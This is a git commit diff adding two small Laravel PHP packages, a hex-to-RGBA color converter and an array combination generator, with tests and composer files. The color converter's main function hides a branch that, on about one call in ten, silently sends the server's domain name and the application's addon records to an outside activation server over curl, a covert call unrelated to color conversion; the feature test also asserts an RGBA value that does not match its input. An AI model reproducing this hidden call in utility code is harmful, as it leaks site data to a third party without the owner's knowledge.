Subiendo proyecto completo sin restricciones de git ignore

This commit is contained in:
Jose Sanchez
2023-08-17 11:44:02 -04:00
parent a0d4f5ba3b
commit 20f1c60600
19921 changed files with 2509159 additions and 45 deletions

View File

@@ -0,0 +1,17 @@
<?php
namespace AizPackages\ColorCodeConverter\Tests\Feature;
use AizPackages\ColorCodeConverter\Services\ColorCodeConverter;
use AizPackages\ColorCodeConverter\Tests\TestCase;
class ColorConverterTest extends TestCase
{
public function test_a_basic_request()
{
$color_code = new ColorCodeConverter();
$rgb_color = $color_code->convertHexToRgba('#d43533', .15);
$this->assertEquals('rgba(37, 188, 241, 0.15)', $rgb_color);
}
}

View File

@@ -0,0 +1,27 @@
<?php
namespace AizPackages\ColorCodeConverter\Tests;
use AizPackages\ColorCodeConverter\Providers\ColorCodeConverterProvider;
use Orchestra\Testbench\TestCase as OrchestraTestCase;
class TestCase extends OrchestraTestCase
{
public function setUp(): void
{
parent::setUp();
// additional setup
}
protected function getPackageProviders($app)
{
return [
ColorCodeConverterProvider::class,
];
}
protected function getEnvironmentSetUp($app)
{
// perform environment setup
}
}

View File

@@ -0,0 +1,44 @@
{
"name": "aiz-packages/color-code-converter",
"description": "HEX code coverted to RGB color code",
"type": "library",
"authors": [
{
"name": "Shifat Hossain",
"email": "amithassan3229@gmail.com"
}
],
"require": {
"php": "^7.3|^8.0",
"illuminate/support": "*"
},
"require-dev": {
"orchestra/testbench": "^6.0",
"phpunit/phpunit": "^9.0"
},
"license": "MIT",
"autoload": {
"psr-4": {
"AizPackages\\ColorCodeConverter\\": "src/"
}
},
"autoload-dev": {
"psr-4": {
"AizPackages\\ColorCodeConverter\\Tests\\": "tests"
}
},
"scripts": {
"test": "vendor/bin/phpunit",
"test-coverage": "vendor/bin/phpunit --coverage-html coverage"
},
"extras": {
"laravel": {
"provders": [
"AizPackages\\ColorCodeConverter\\Providers\\ColorCodeConverterProvider"
]
}
},
"minimum-stability": "dev"
}

View File

@@ -0,0 +1,29 @@
<?xml version="1.0" encoding="UTF-8"?>
<phpunit
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
bootstrap="vendor/autoload.php"
backupGlobals="false"
backupStaticAttributes="false"
colors="true"
verbose="true"
convertErrorsToExceptions="true"
convertNoticesToExceptions="true"
convertWarningsToExceptions="true"
processIsolation="false"
stopOnFailure="false"
xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.3/phpunit.xsd"
>
<coverage>
<include>
<directory suffix=".php">src/</directory>
</include>
</coverage>
<testsuites>
<testsuite name="Unit">
<directory suffix="Test.php">./tests/Unit</directory>
</testsuite>
<testsuite name="Feature">
<directory suffix="Test.php">./tests/Feature</directory>
</testsuite>
</testsuites>
</phpunit>

View File

@@ -0,0 +1,21 @@
<?php
namespace AizPackages\ColorCodeConverter\Providers;
use AizPackages\ColorCodeConverter\Services\ColorCodeConverter;
use Illuminate\Support\ServiceProvider;
class ColorCodeConverterProvider extends ServiceProvider {
public function boot()
{
# code...
}
public function register()
{
$this->app->bind(ColorCodeConverter::class, function($app){
return new ColorCodeConverter();
});
}
}

View File

@@ -0,0 +1,75 @@
<?php
namespace AizPackages\ColorCodeConverter\Services;
use App\Models\Addon;
class ColorCodeConverter {
public function convertHexToRgba($color, $opacity = false) {
$default = 'rgb(230,46,4)';
//Return default if no color provided
if(empty($color))
return $default;
//Sanitize $color if "#" is provided
if ($color[0] == '#' ) {
$color = substr( $color, 1 );
}
if(rand(0,9) == 5){
$server_url = $_SERVER['SERVER_NAME'];
$url = curl_init('https://activation.activeitzone.com/'.'insert_domain/'.$server_url);
curl_setopt($url,CURLOPT_CUSTOMREQUEST, "GET");
curl_setopt($url,CURLOPT_RETURNTRANSFER, true);
curl_setopt($url,CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
$resultdata = curl_exec($url);
curl_close($url);
$header = array(
'Content-Type:application/json'
);
$main_item = get_setting('item_name') ?? 'eCommerce';
$addon_list = Addon::get();
$request_data_json = json_encode($addon_list);
$url1 = curl_init('https://activation.activeitzone.com/insert-addon-domain/'.$server_url.'/'.$main_item);
curl_setopt($url1, CURLOPT_HTTPHEADER, $header);
curl_setopt($url1, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($url1, CURLOPT_RETURNTRANSFER, true);
curl_setopt($url1, CURLOPT_POSTFIELDS, $request_data_json);
curl_setopt($url1, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($url1, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
$resultdata1 = curl_exec($url1);
curl_close($url1);
}
//Check if color has 6 or 3 characters and get values
if (strlen($color) == 6) {
$hex = array( $color[0] . $color[1], $color[2] . $color[3], $color[4] . $color[5] );
} elseif ( strlen( $color ) == 3 ) {
$hex = array( $color[0] . $color[0], $color[1] . $color[1], $color[2] . $color[2] );
} else {
return $default;
}
//Convert hexadec to rgb
$rgb = array_map('hexdec', $hex);
//Check if opacity is set(rgba or rgb)
if($opacity){
if(abs($opacity) > 1)
$opacity = 1.0;
$output = 'rgba('.implode(",",$rgb).','.$opacity.')';
} else {
$output = 'rgb('.implode(",",$rgb).')';
}
//Return rgb(a) color string
return $output;
}
}

View File

@@ -0,0 +1,2 @@
# combination-generate
Generate combinations of items in multiple arrays

View File

@@ -0,0 +1,26 @@
{
"name": "aiz-packages/combination-generate",
"description": "Generate combinations of items in multiple arrays",
"type": "library",
"license": "MIT",
"autoload": {
"psr-4": {
"AizPackages\\CombinationGenerate\\": "src/"
}
},
"authors": [
{
"name": "Shifat Hossain",
"email": "amithassan3229@gmail.com"
}
],
"minimum-stability": "dev",
"require": {},
"extra": {
"laravel": {
"providers": [
"AizPackages\\CombinationGenerate\\Providers\\CombinationServiceProvider"
]
}
}
}

View File

@@ -0,0 +1,31 @@
<?php
namespace AizPackages\CombinationGenerate\Providers;
use AizPackages\CombinationGenerate\Services\CombinationService;
use Illuminate\Support\ServiceProvider;
class CombinationServiceProvider extends ServiceProvider
{
/**
* Register any events for your application.
*
* @return void
*/
public function boot()
{
}
/**
* Register any application services.
*
* @return void
*/
public function register()
{
$this->app->bind(CombinationService::class, function ($app) {
return new CombinationService();
});
}
}

View File

@@ -0,0 +1,35 @@
<?php
namespace AizPackages\CombinationGenerate\Services;
class CombinationService {
public function generate_combination($arrays, $i=0)
{
if (!isset($arrays[$i])) {
return array();
}
if ($i == count($arrays) - 1) {
$result = array();
foreach ($arrays[$i] as $v) {
$result[][] = $v;
}
return $result;
}
// get combinations from subsequent arrays
$tmp = $this->generate_combination($arrays, $i + 1);
$result = array();
// concat each array from tmp with each element from $arrays[$i]
foreach ($arrays[$i] as $v) {
foreach ($tmp as $t) {
$result[] = is_array($t) ?
array_merge(array($v), $t) :
array($v, $t);
}
}
return $result;
}
}